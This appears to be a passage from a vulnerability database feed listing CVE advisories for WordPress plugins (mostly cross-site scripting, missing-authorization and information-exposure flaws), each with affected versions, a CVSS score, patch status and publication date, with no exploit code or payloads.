6.4 (Medium)
CVE-ID

CVE-2026-14565
Patch Status

Unpatched
Published
Sep 9, 2026

Affected Software

Advanced Customized Prompts [advanced-customized-prompts]

Researcher

More Details >

AI Builder – Generate pages, blocks, images & translate with AI 2.4.1 – 2.7.7 – Authenticated (Contributor+) Stored Cross-Site Scripting

6.4

CVSS Rating
6.4 (Medium)
CVE-ID

CVE-2026-85678
Patch Status

Patched
Published
Sep 11, 2026

Affected Software

AI Builder – Generate pages, blocks, images & translate with AI [ai-builder]

Researcher

More Details >

Aruba HiSpeed Cache <= 3.0.14 – Authenticated (Contributor+) Stored Cross-Site Scripting via Post Content

6.4

CVSS Rating
6.4 (Medium)
CVE-ID

CVE-2026-15889
Patch Status

Patched
Published
Sep 9, 2026

Affected Software

Aruba HiSpeed Cache [aruba-hispeed-cache]

Researcher

More Details >

Bold Page Builder <= 5.9.9 – Authenticated (Contributor+) Stored Cross-Site Scripting

6.4

CVSS Rating
6.4 (Medium)
CVE-ID

CVE-2026-62110
Patch Status

Patched
Published
Sep 11, 2026

Affected Software

Bold Page Builder [bold-page-builder]

Researcher

More Details >

Bold Timeline Lite <= 1.2.8 – Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes

6.4

CVSS Rating
6.4 (Medium)
CVE-ID

CVE-2026-7438
Patch Status

Patched
Published
Sep 10, 2026

Affected Software

Bold Timeline Lite [bold-timeline-lite]

Researcher

More Details >

Booking for Appointments and Events Calendar – Amelia <= 2.4.9 – Authenticated (Contributor+) Stored Cross-Site Scripting via ‘load_manually’ Parameter

6.4

CVSS Rating
6.4 (Medium)
CVE-ID

CVE-2026-10148
Patch Status

Patched
Published
Sep 11, 2026

Affected Software

Booking for Appointments and Events Calendar – Amelia [ameliabooking]

Researcher

More Details >

Builderall for WordPress <= 3.0.2 – Authenticated (Contributor+) Stored Cross-Site Scripting via ‘bg_video_service_url’ Setting

6.4

CVSS Rating
6.4 (Medium)
CVE-ID

CVE-2026-15796
Patch Status

Unpatched
Published
Sep 9, 2026

Affected Software

Builderall for WordPress [builderall-cheetah-for-wp]

Researcher

More Details >

Builderall for WordPress <= 3.0.2 – Authenticated (Contributor+) Stored Cross-Site Scripting via Photo Module ‘attributes’ Setting

6.4

CVSS Rating
6.4 (Medium)
CVE-ID

CVE-2026-15820
Patch Status

Unpatched
Published
Sep 9, 2026

Affected Software

Builderall for WordPress [builderall-cheetah-for-wp]

Researcher

More Details >

Content Mask 1.7.1 – 1.8.5.5 – Authenticated (Contributor+) Stored Cross-Site Scripting

6.4

CVSS Rating
6.4 (Medium)
CVE-ID

CVE-2025-15690
Patch Status

Patched
Published
Sep 9, 2026

Affected Software

Content Mask [content-mask]

Researcher

More Details >

CoolClock < 4.3.8 – Authenticated (Contributor+) Stored Cross-Site Scripting

6.4

CVSS Rating
6.4 (Medium)
CVE-ID

CVE-2026-83545
Patch Status

Patched
Published
Sep 11, 2026

Affected Software

CoolClock [coolclock]

Researcher

More Details >

CoolClock <= 4.3.7 – Authenticated (Contributor+) Stored Cross-Site Scripting

6.4

CVSS Rating
6.4 (Medium)
CVE-ID

CVE-2026-83546
Patch Status

Patched
Published
Sep 8, 2026

Affected Software

CoolClock [coolclock]

Researcher

More Details >

Custom Menu Wizard Widget <= 3.3.1 – Authenticated (Contributor+) Stored Cross-Site Scripting

6.4

CVSS Rating
6.4 (Medium)
CVE-ID

CVE-2026-83532
Patch Status

Unpatched
Published
Sep 12, 2026

Affected Software

Custom Menu Wizard Widget [custom-menu-wizard]

Researcher

More Details >

Easy Google Fonts <= 2.0.4 – Authenticated (Author+) Stored Cross-Site Scripting via control_selectors Meta Field

6.4

CVSS Rating
6.4 (Medium)
CVE-ID

CVE-2026-4657
Patch Status

Unpatched
Published
Sep 9, 2026

Affected Software

Easy Google Fonts [easy-google-fonts]

Researcher

More Details >

EventON – Events Calendar <= 2.5.7 – Authenticated (Subscriber+) Stored Cross-Site Scripting

6.4

CVSS Rating
6.4 (Medium)
CVE-ID

CVE-2026-81791
Patch Status

Patched
Published
Sep 8, 2026

Affected Software

EventON – Events Calendar [eventon-lite]

Researcher

More Details >

Featured Image with URL < 1.0.6 – Authenticated (Contributor+) Stored Cross-Site Scripting

6.4

CVSS Rating
6.4 (Medium)
CVE-ID

CVE-2026-86780
Patch Status

Patched
Published
Sep 11, 2026

Affected Software

Featured Image with URL [featured-image-with-url]

Researcher

More Details >

Graphina <= 3.1.11 – Authenticated (Author+) Stored Cross-Site Scripting via ‘iq_tree_tree_chart_template’ Widget Setting

6.4

CVSS Rating
6.4 (Medium)
CVE-ID

CVE-2026-13709
Patch Status

Patched
Published
Sep 8, 2026

Affected Software

Graphina – Charts and Graphs For Elementor [graphina-elementor-charts-and-graphs]

Researchers

More Details >

HT Menu – WordPress Mega Menu Builder for Elementor < 1.2.7 – Authenticated (Subscriber+) Stored Cross-Site Scripting

6.4

CVSS Rating
6.4 (Medium)
CVE-ID

CVE-2026-84935
Patch Status

Patched
Published
Sep 7, 2026

Affected Software

HT Menu – WordPress Mega Menu Builder for Elementor [ht-menu-lite]

Researcher

More Details >

JCH Optimize < 6.0.1 – Authenticated (Subscriber+) Stored Cross-Site Scripting

6.4

CVSS Rating
6.4 (Medium)
CVE-ID

CVE-2026-84934
Patch Status

Patched
Published
Sep 7, 2026

Affected Software

JCH Optimize [jch-optimize]

Researcher

More Details >

LearnPress <= 4.3.9.1 – Authenticated (Contributor+) Stored Cross-Site Scripting via ‘layout_custom_css’

6.4

CVSS Rating
6.4 (Medium)
CVE-ID

CVE-2026-12230
Patch Status

Patched
Published
Sep 7, 2026

Affected Software

LearnPress – WordPress LMS Plugin for Create and Sell Online Courses [learnpress]

Researchers

More Details >

Masteriyo LMS – LMS Course Builder, Quizzes & Certificates < 3.4.1 – Authenticated (Custom Role+) Stored Cross-Site Scripting

6.4

CVSS Rating
6.4 (Medium)
CVE-ID

CVE-2026-82847
Patch Status

Patched
Published
Sep 12, 2026

Affected Software

Masteriyo LMS – LMS Course Builder, Quizzes & Certificates [learning-management-system]

Researcher

More Details >

Media Library Assistant <= 3.35 – Authenticated (Author+) Stored Cross-Site Scripting via Bulk Edit Preset Export/Import

6.4

CVSS Rating
6.4 (Medium)
CVE-ID

CVE-2026-6642
Patch Status

Patched
Published
Sep 10, 2026

Affected Software

Media Library Assistant [media-library-assistant]

Researcher

More Details >

Media Library Assistant <= 3.35 – Authenticated (Contributor+) Stored Cross-Site Scripting via ‘mla_link_href’ Shortcode Parameter

6.4

CVSS Rating
6.4 (Medium)
CVE-ID

CVE-2026-6641
Patch Status

Patched
Published
Sep 10, 2026

Affected Software

Media Library Assistant [media-library-assistant]

Researcher

More Details >

Media Library Assistant <= 3.35 – Authenticated (Contributor+) Stored Cross-Site Scripting via mla_link_attributes Parameter

6.4

CVSS Rating
6.4 (Medium)
CVE-ID

CVE-2026-6640
Patch Status

Patched
Published
Sep 10, 2026

Affected Software

Media Library Assistant [media-library-assistant]

Researcher

More Details >

My Calendar <= 3.8.3 – Authenticated (Contributor+) Stored Cross-Site Scripting via ‘before’ and ‘after’ Shortcode Attributes

6.4

CVSS Rating
6.4 (Medium)
CVE-ID

CVE-2026-77187
Patch Status

Patched
Published
Sep 8, 2026

Affected Software

My Calendar – Accessible Event Manager [my-calendar]

Researcher

More Details >

My Calendar <= 3.8.3 – Authenticated (Contributor+) Stored Cross-Site Scripting via ‘fallback’ Shortcode Attribute

6.4

CVSS Rating
6.4 (Medium)
CVE-ID

CVE-2026-77186
Patch Status

Patched
Published
Sep 8, 2026

Affected Software

My Calendar – Accessible Event Manager [my-calendar]

Researcher

More Details >

myCred – Points Management System For Gamification, Ranks, Badges, and Loyalty Rewards Program <= 3.2.4 – Authenticated (Contributor+) Stored Cross-Site Scripting via ‘wrapper’ Shortcode Attribute

6.4

CVSS Rating
6.4 (Medium)
CVE-ID

CVE-2026-17149
Patch Status

Patched
Published
Sep 8, 2026

Affected Software

Points Management System For Gamification, Ranks, Badges, and Loyalty Rewards Program – myCred [mycred]

Researcher

More Details >

Orbit Fox <= 3.0.8 – Authenticated (Contributor+) Stored Cross-Site Scripting

6.4

CVSS Rating
6.4 (Medium)
CVE-ID

CVE-2026-85418
Patch Status

Patched
Published
Sep 7, 2026

Affected Software

Orbit Fox: Duplicate Page, Menu Icons, SVG Support, Cookie Notice, Custom Fonts & More [themeisle-companion]

Researcher

More Details >

Podlove Podcast Publisher <= 4.5.5 – Authenticated (Contributor+) Stored Cross-Site Scripting via ‘episode_contributor[..][..][comment]’ Parameter

6.4

CVSS Rating
6.4 (Medium)
CVE-ID

CVE-2026-75966
Patch Status

Patched
Published
Sep 8, 2026

Affected Software

Podlove Podcast Publisher [podlove-podcasting-plugin-for-wordpress]

Researcher

More Details >

Redux Framework <= 4.5.13.1 – Authenticated (Subscriber+) Stored Cross-Site Scripting via Slider Field Value

6.4

CVSS Rating
6.4 (Medium)
CVE-ID

CVE-2026-5399
Patch Status

Patched
Published
Sep 9, 2026

Affected Software

Redux Framework [redux-framework]

Researcher

More Details >

Simple Payment <= 2.5.4 – Authenticated (Contributor+) Stored Cross-Site Scripting

6.4

CVSS Rating
6.4 (Medium)
CVE-ID

CVE-2026-62111
Patch Status

Patched
Published
Sep 11, 2026

Affected Software

Simple Payment [simple-payment]

Researcher

efd10eb3421a6ca0a3d855ad7029a801V1T

More Details >

Sina Extension for Elementor 3.7.1 – 3.10.3 – Authenticated (Contributor+) Stored Cross-Site Scripting

6.4

CVSS Rating
6.4 (Medium)
CVE-ID

CVE-2026-83541
Patch Status

Patched
Published
Sep 9, 2026

Affected Software

Sina Extension for Elementor [sina-extension-for-elementor]

Researcher

More Details >

Visual Composer Website Builder <= 45.16.1 – Authenticated (Contributor+) Stored Cross-Site Scripting

6.4

CVSS Rating
6.4 (Medium)
CVE-ID

CVE-2026-62138
Patch Status

Patched
Published
Sep 10, 2026

Affected Software

Visual Composer Website Builder [visualcomposer]

Researcher

More Details >

WP Crowdfunding <= 2.2.1 – Authenticated (Subscriber+) Stored Cross-Site Scripting via ‘first_name’ Parameter

6.4

CVSS Rating
6.4 (Medium)
CVE-ID

CVE-2026-19945
Patch Status

Patched
Published
Sep 8, 2026

Affected Software

WP Crowdfunding [wp-crowdfunding]

Researcher

More Details >

WP Docs <= 2.3.3 – Authenticated (Subscriber+) Stored Cross-Site Scripting

6.4

CVSS Rating
6.4 (Medium)
CVE-ID

CVE-2026-81782
Patch Status

Unpatched
Published
Sep 9, 2026

Affected Software

WP Docs [wp-docs]

Researcher

More Details >

WP Highlight Box <= 1.0 – Authenticated (Contributor+) Stored Cross-Site Scripting

6.4

CVSS Rating
6.4 (Medium)
CVE-ID

CVE-2026-86790
Patch Status

Unpatched
Published
Sep 12, 2026

Affected Software

WP Highlight Box [wp-highlight-box]

Researchers

More Details >

Zephyr Project Manager <= 3.3.205 – Authenticated (Custom+) Stored Cross-Site Scripting via ‘message’ Parameter

6.4

CVSS Rating
6.4 (Medium)
CVE-ID

CVE-2026-76931
Patch Status

Patched
Published
Sep 7, 2026

Affected Software

Zephyr Project Manager [zephyr-project-manager]

Researcher

More Details >

Gato GraphQL <= 19.2.3 – Authenticated (Subscriber+) Privilege Escalation

6.3

CVSS Rating
6.3 (Medium)
CVE-ID

CVE-2026-62102
Patch Status

Patched
Published
Sep 11, 2026

Affected Software

Gato GraphQL [gatographql]

Researcher

More Details >

MultiVendorX – WooCommerce Multivendor Marketplace AI Powered Solutions 5.0.0 – 5.0.15 – Authenticated (Custom Role+) Privilege Escalation

6.3

CVSS Rating
6.3 (Medium)
CVE-ID

CVE-2026-74925
Patch Status

Patched
Published
Sep 11, 2026

Affected Software

MultiVendorX – WooCommerce Multivendor Marketplace AI Powered Solutions [dc-woocommerce-multi-vendor]

Researcher

More Details >

Registration Form for WooCommerce 1.1.0 – 1.1.2 – Authenticated (Contributor+) Privilege Escalation

6.3

CVSS Rating
6.3 (Medium)
CVE-ID

CVE-2026-81431
Patch Status

Patched
Published
Sep 11, 2026

Affected Software

Registration Form for WooCommerce [registration-form-for-woocommerce]

Researcher

More Details >

SMS Alert – SMS & OTP for WooCommerce, Order Notifications & Abandoned Cart Recovery <= 3.9.9 – Authenticated (Subscriber+) Privilege Escalation

6.3

CVSS Rating
6.3 (Medium)
CVE-ID

CVE-2026-62106
Patch Status

Patched
Published
Sep 11, 2026

Affected Software

SMS Alert – SMS & OTP for WooCommerce, Order Notifications & Abandoned Cart Recovery [sms-alert]

Researcher

More Details >

Floating Chat Widget: Contact Chat Icons, Telegram Chat, Line Messenger, WeChat, Email, SMS, Call Button <= 3.5.9 – Reflected Cross-Site Scripting

6.1

CVSS Rating
6.1 (Medium)
CVE-ID

CVE-2026-18964
Patch Status

Patched
Published
Sep 10, 2026

Affected Software

Floating Chat Widget: Contact Chat Icons, Telegram Chat, Line Messenger, WeChat, Email, SMS, Call Button – Chaty [chaty]

Researcher

More Details >

Form Maker by 10Web – Mobile-Friendly Drag & Drop Contact Form Builder <= 1.15.46 – Reflected Cross-Site Scripting

6.1

CVSS Rating
6.1 (Medium)
CVE-ID

CVE-2026-85645
Patch Status

Patched
Published
Sep 9, 2026

Affected Software

Form Maker by 10Web – Mobile-Friendly Drag & Drop Contact Form Builder [form-maker]

Researcher

More Details >

Groundhogg — CRM, Newsletters, and Marketing Automation < 4.7.2 – Unauthenticated Open Redirect

6.1

CVSS Rating
6.1 (Medium)
CVE-ID

CVE-2026-81741
Patch Status

Patched
Published
Sep 7, 2026

Affected Software

Groundhogg — CRM, Newsletters, and Marketing Automation [groundhogg]

Researcher

More Details >

HUSKY <= 1.4.3 – Reflected Cross-Site Scripting

6.1

CVSS Rating
6.1 (Medium)
CVE-ID

CVE-2026-18562
Patch Status

Patched
Published
Sep 10, 2026

Affected Software

HUSKY – Products Filter for WooCommerce Professional [woocommerce-products-filter]

Researcher

More Details >

IPGP Visitors Origin < 1.6 – Reflected Cross-Site Scripting

6.1

CVSS Rating
6.1 (Medium)
CVE-ID

CVE-2026-81404
Patch Status

Patched
Published
Sep 7, 2026

Affected Software

IPGP Visitors Origin [ipgp-visitors-origin]

Researcher

More Details >

Product Filter for WooCommerce by WBW <= 3.4.2 – Reflected Cross-Site Scripting via ‘wpf_fid’ Parameter

6.1

CVSS Rating
6.1 (Medium)
CVE-ID

CVE-2026-7804
Patch Status

Patched
Published
Sep 8, 2026

Affected Software

Product Filter for WooCommerce by WBW [woo-product-filter]

Researcher

More Details >

Relevanssi <= 4.28.1 – Reflected Cross-Site Scripting

6.1

CVSS Rating
6.1 (Medium)
CVE-ID

CVE-2026-19985
Patch Status

Patched
Published
Sep 10, 2026

Affected Software

Relevanssi – A Better Search [relevanssi]

Researcher

More Details >

Simple CAPTCHA with Cloudflare Turnstile <= 1.42.1 – Unauthenticated Arbitrary Shortcode Execution

6.1

CVSS Rating
6.1 (Medium)
CVE-ID

CVE-2026-66632
Patch Status

Patched
Published
Sep 8, 2026

Affected Software

Simple CAPTCHA with Cloudflare Turnstile [simple-cloudflare-turnstile]

Researcher

More Details >

Themify – WooCommerce Product Filter <= 1.5.5 – Reflected Cross-Site Scripting

6.1

CVSS Rating
6.1 (Medium)
CVE-ID

CVE-2026-78172
Patch Status

Patched
Published
Sep 10, 2026

Affected Software

Themify – WooCommerce Product Filter [themify-wc-product-filter]

Researcher

More Details >

Unlimited Elements For Elementor <= 2.0.16 – Reflected Cross-Site Scripting

6.1

CVSS Rating
6.1 (Medium)
CVE-ID

CVE-2026-77150
Patch Status

Patched
Published
Sep 10, 2026

Affected Software

Unlimited Elements For Elementor [unlimited-elements-for-elementor]

Researcher

More Details >

User Access Manager <= 2.3.18 – Reflected Cross-Site Scripting via ‘tab_group_section’ Parameter

6.1

CVSS Rating
6.1 (Medium)
CVE-ID

CVE-2026-19797
Patch Status

Patched
Published
Sep 8, 2026

Affected Software

User Access Manager [user-access-manager]

Researcher

More Details >

WP-Members Membership Plugin <= 3.5.6 – Reflected Cross-Site Scripting

6.1

CVSS Rating
6.1 (Medium)
CVE-ID

CVE-2026-84960
Patch Status

Patched
Published
Sep 10, 2026

Affected Software

WP-Members Membership Plugin [wp-members]

Researcher

More Details >

Eventin <= 4.1.17 – Missing Authorization to Authenticated (Subscriber+) Notification Flow Management via notification-flow REST API Endpoint

5.4

CVSS Rating
5.4 (Medium)
CVE-ID

CVE-2026-11821
Patch Status

Patched
Published
Sep 8, 2026

Affected Software

Eventin – Event Calendar, Tickets, Registration, Booking & WooCommerce [wp-event-solution]

Researcher

More Details >

Online Scheduling and Appointment Booking System – Bookly <= 27.2 – Missing Authorization to Authenticated (Subscriber+) Limited Arbitrary Plugin Update

5.4

CVSS Rating
5.4 (Medium)
CVE-ID

CVE-2026-2520
Patch Status

Patched
Published
Sep 7, 2026

Affected Software

Online Scheduling and Appointment Booking System – Bookly [bookly-responsive-appointment-booking-tool]

Researcher

More Details >

Advanced Partial Payment or Deposit for WooCommerce <= 3.1.0 – Missing Authorization

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-27378
Patch Status

Patched
Published
Sep 10, 2026

Affected Software

Advanced Partial Payment or Deposit for WooCommerce [advanced-partial-payment-or-deposit-for-woocommerce]

Researcher

More Details >

bbPress <= 2.6.14 – Unauthenticated Information Exposure

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-62137
Patch Status

Patched
Published
Sep 11, 2026

Affected Software

bbPress [bbpress]

Researcher

More Details >

Booking for Appointments and Events Calendar – Amelia 9.0 – 9.8.0 – Unauthenticated Payment Bypass

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-77689
Patch Status

Patched
Published
Sep 10, 2026

Affected Software

Booking for Appointments and Events Calendar – Amelia [ameliabooking]

Researcher

More Details >

Bookit — Booking & Appointment Calendar < 2.6.0.1 – Unauthenticated Information Exposure

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-88995
Patch Status

Patched
Published
Sep 13, 2026

Affected Software

Bookit — Booking & Appointment Calendar [bookit]

Researcher

More Details >

Booktics – Appointment Booking Calendar for Service Businesses <= 1.0.24 – Missing Authorization

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-62135
Patch Status

Patched
Published
Sep 10, 2026

Affected Software

Booktics – Appointment Booking Calendar for Service Businesses [booktics]

Researcher

More Details >

Booktics – Booking Calendar for Appointments and Service Businesses <= 1.0.23 – Missing Authorization

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-11446
Patch Status

Patched
Published
Sep 10, 2026

Affected Software

Booktics – Appointment Booking Calendar for Service Businesses [booktics]

Researcher

More Details >

Csomagpontok és Címkék WooCommerce-hez < 4.2.8 – Missing Authorization

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-81790
Patch Status

Patched
Published
Sep 7, 2026

Affected Software

Csomagpontok és Címkék WooCommerce-hez [hungarian-pickup-points-for-woocommerce]

Researcher

More Details >

Directory Kit <= 1.5.7 – Unauthenticated Information Exposure

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-18232
Patch Status

Unpatched
Published
Sep 12, 2026

Affected Software

WP Directory Kit [wpdirectorykit]

Researcher

More Details >

Domain For Sale – Landing Page Per Domain, Domain Mapping, Offers & Listings <= 3.5.1 – Missing Authorization

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-89023
Patch Status

Patched
Published
Sep 13, 2026

Affected Software

Domain For Sale – Landing Page Per Domain, Domain Mapping, Offers & Listings [domain-for-sale]

Researcher

More Details >

DT LMS <= 1.1 – Missing Authorization to Unauthenticated Arbitrary Plugin Settings Modification via Multiple AJAX Actions

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-11355
Patch Status

Patched
Published
Sep 11, 2026

Affected Software

DT LMS – elearning, WordPress LMS Plugin [dt-lms-lite]

Researcher

More Details >

ElasticPress <= 5.3.4 – Unauthenticated Information Exposure

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-62088
Patch Status

Patched
Published
Sep 11, 2026

Affected Software

ElasticPress [elasticpress]

Researcher

More Details >

Event Booking Manager for WooCommerce – Sell Tickets, Event Registration, RSVP & Event Calendar <= 5.6.0 – Unauthenticated Insecure Direct Object Reference

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-81802
Patch Status

Patched
Published
Sep 7, 2026

Affected Software

Event Booking Manager for WooCommerce – Sell Tickets, Event Registration, RSVP & Event Calendar [mage-eventpress]

Researcher

More Details >

Eventin <= 4.1.22 – Missing Authorization to Unauthenticated Arbitrary Order Creation and Status Manipulation via ‘status’ Parameter

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-12956
Patch Status

Patched
Published
Sep 8, 2026

Affected Software

Eventin – Event Calendar, Tickets, Registration, Booking & WooCommerce [wp-event-solution]

Researcher

More Details >

Express Checkout <= 2.4.0 – Unauthenticated Payment Bypass

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-83537
Patch Status

Patched
Published
Sep 7, 2026

Affected Software

WP Express Checkout (Fast Payments via PayPal & Stripe) [wp-express-checkout]

Researcher

More Details >

Flexible Quantity – Measurement Price Calculator for WooCommerce <= 2.3.21 – Missing Authorization

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-62136
Patch Status

Patched
Published
Sep 10, 2026

Affected Software

Flexible Quantity – Measurement Price Calculator for WooCommerce [flexible-quantity-measurement-price-calculator-for-woocommerce]

Researcher

More Details >

IMPress for IDX Broker <= 3.3.0 – Unauthenticated Unauthorized Lead and Search Manipulation

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-81787
Patch Status

Patched
Published
Sep 8, 2026

Affected Software

IMPress for IDX Broker [idx-broker-platinum]

Researcher

More Details >

IP2Location Country Blocker <= 2.44.0 – IP Soofing

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-82530
Patch Status

Patched
Published
Sep 9, 2026

Affected Software

IP2Location Country Blocker [ip2location-country-blocker]

Researcher

More Details >

JetFormBuilder — Dynamic Blocks Form Builder < 3.6.5.2 – Unauthenticated Information Exposure

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-19858
Patch Status

Patched
Published
Sep 7, 2026

Affected Software

JetFormBuilder — Dynamic Blocks Form Builder [jetformbuilder]

Researcher

More Details >

Kirki – Freeform Page Builder, Website Builder & Customizer 6.2.1 – 6.2.5 – Unauthenticated Information Exposure

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-84222
Patch Status

Patched
Published
Sep 9, 2026

Affected Software

Kirki – Freeform Page Builder, Website Builder & Customizer [kirki]

Researcher

More Details >

Loops & Logic <= 4.2.0 – Unauthenticated Information Exposure

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-16960
Patch Status

Patched
Published
Sep 7, 2026

Affected Software

Loops & Logic [tangible-loops-and-logic]

Researcher

More Details >

Masteriyo LMS – LMS Course Builder, Quizzes & Certificates 1.3.1 – 2.3.3 – Unauthenticated Information Exposure

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-82848
Patch Status

Patched
Published
Sep 9, 2026

Affected Software

Masteriyo LMS – LMS Course Builder, Quizzes & Certificates [learning-management-system]

Researcher

More Details >

MetForm – Contact Form, Survey, Quiz, Conditional Forms, Form Templates & Custom Form Builder for Elementor < 4.1.9 – Unauthenticated Email Header Injection

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-86813
Patch Status

Patched
Published
Sep 9, 2026

Affected Software

MetForm – Contact Form, Survey, Quiz, Conditional Forms, Form Templates & Custom Form Builder for Elementor [metform]

Researcher

More Details >

miniOrange 2FA – Two Factor Authentication for WordPress (OTP, SMS, Email, Google Authenticator) 6.2.8 – 6.3.0 – Unauthenticated Second Factor Authentication Bypass

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-77771
Patch Status

Patched
Published
Sep 8, 2026

Affected Software

miniOrange 2FA – Two Factor Authentication for WordPress (OTP, SMS, Email, Google Authenticator) [miniorange-2-factor-authentication]

Researcher

More Details >

Mobile Events Manager <= 1.4.8.3 & MDJM Event Management < 1.7.8.5 – Missing Authorization

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-88802
Patch Status

Partially Patched
Published
Sep 11, 2026

Affected Software

MDJM Event Management [mobile-dj-manager]
Mobile Events Manager [mobile-events-manager]

Researchers

More Details >

Nexi XPay Build 7.6.1 – 7.6.2 – Unauthenticated Insecure Direct Object Reference

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-82213
Patch Status

Unpatched
Published
Sep 11, 2026

Affected Software

Nexi XPay Build [nexi-xpay-build]

Researcher

More Details >

OTP Login & Register Woocommerce <= 2.7.2 – Unauthenticated Authentication Bypass via Brute Force

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-12215
Patch Status

Patched
Published
Sep 10, 2026

Affected Software

OTP Login & Register Woocommerce [mobile-login-woocommerce]

Researcher

More Details >

Passster – Password Protect Pages and Content <= 4.3.13 – Missing Authorization

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-62114
Patch Status

Patched
Published
Sep 11, 2026

Affected Software

Passster – Password Protect Pages and Content [content-protector]

Researcher

More Details >

Payment Gateway PayPay for WooCommerce 0.5 – 0.9.3 – Unauthenticated Payment Bypass

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-82215
Patch Status

Unpatched
Published
Sep 11, 2026

Affected Software

Payment Gateway PayPay for WooCommerce [wc-paypay-gateway]

Researcher

More Details >

Payment Plugins for PayPal WooCommerce <= 2.0.25 – Unauthenticated Information Exposure

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-80340
Patch Status

Patched
Published
Sep 7, 2026

Affected Software

Payment Plugins for PayPal WooCommerce [pymntpl-paypal-woocommerce]

Researcher

More Details >

Payment Plugins for Stripe WooCommerce <= 4.0.11 – Unauthenticated Information Exposure

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-80339
Patch Status

Patched
Published
Sep 7, 2026

Affected Software

Payment Plugins for Stripe WooCommerce [woo-stripe-payment]

Researcher

More Details >

Post Form – Registration Form – Profile Form for User Profiles – Frontend Content Forms for User Submissions (UGC) <= 2.9.0 – Missing Authorization

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-81785
Patch Status

Unpatched
Published
Sep 9, 2026

Affected Software

Post Form – Registration Form – Profile Form for User Profiles – Frontend Content Forms for User Submissions (UGC) [buddyforms]

Researcher

More Details >

Quiz and Survey Master (QSM) – Quiz Maker & Survey Maker <= 11.2.5 – Unauthenticated Insecure Direct Object Reference

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-62140
Patch Status

Patched
Published
Sep 10, 2026

Affected Software

Quiz and Survey Master (QSM) – Quiz Maker & Survey Maker [quiz-master-next]

Researcher

More Details >

Really Simple Security <= 9.8.0 – Unauthenticated Two-Factor Authentication Bypass

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-89080
Patch Status

Patched
Published
Sep 11, 2026

Affected Software

Really Simple Security – Simple and Performant Security (formerly Really Simple SSL) [really-simple-ssl]

Researcher

More Details >

Return Refund and Exchange For WooCommerce <= 4.6.4 – Missing Authorization

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-81799
Patch Status

Unpatched
Published
Sep 8, 2026

Affected Software

Return Refund and Exchange For WooCommerce [woo-refund-and-exchange-lite]

Researcher

More Details >

Robokassa payment gateway for Woocommerce <= 1.8.9 – Missing Authorization

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-78536
Patch Status

Unpatched
Published
Sep 9, 2026

Affected Software

Robokassa payment gateway for Woocommerce [robokassa]

Researcher

More Details >

Rox Appointment Booking – Appointment Booking Scheduling Solution < 1.2.0 – Payment Bypass to Unauthenticated Arbitrary Booking Price and Payment Method Bypass

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-87892
Patch Status

Patched
Published
Sep 10, 2026

Affected Software

Rox Appointment Booking – Appointment Booking Scheduling Solution [rox-appointment-booking]

Researcher

More Details >

Rox Appointment Booking – Appointment Booking Scheduling Solution 1.0.9 – 1.2.2 – Unauthenticated Insecure Direct Object Reference

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-87894
Patch Status

Patched
Published
Sep 12, 2026

Affected Software

Rox Appointment Booking – Appointment Booking Scheduling Solution [rox-appointment-booking]

Researcher

More Details >

Royal Addons for Elementor <= 1.7.1066 – Unauthenticated Sensitive Information Exposure via Unfiltered meta_query LIKE Oracle in ‘wpr_keyword’ Parameter

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-17585
Patch Status

Patched
Published
Sep 11, 2026

Affected Software

Royal Addons for Elementor – Addons and Templates Kit for Elementor [royal-elementor-addons]

Researcher

More Details >

Salon Booking System – Appointment Booking for Salons, Barbershops & Spas <= 10.31.5 – Missing Authorization

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-81793
Patch Status

Unpatched
Published
Sep 8, 2026

Affected Software

Salon Booking System – Appointment Booking for Salons, Barbershops & Spas [salon-booking-system]

Researcher

More Details >

Shirt Product Designer for WooCommerce 1.0.4 – Missing Authorization

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-81794
Patch Status

Unpatched
Published
Sep 9, 2026

Affected Software

Shirt Product Designer for WooCommerce [woo-shirt-product-designer]

Researcher

More Details >

Simple CAPTCHA with Cloudflare Turnstile <= 1.42.1 – Captcha Bypass

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

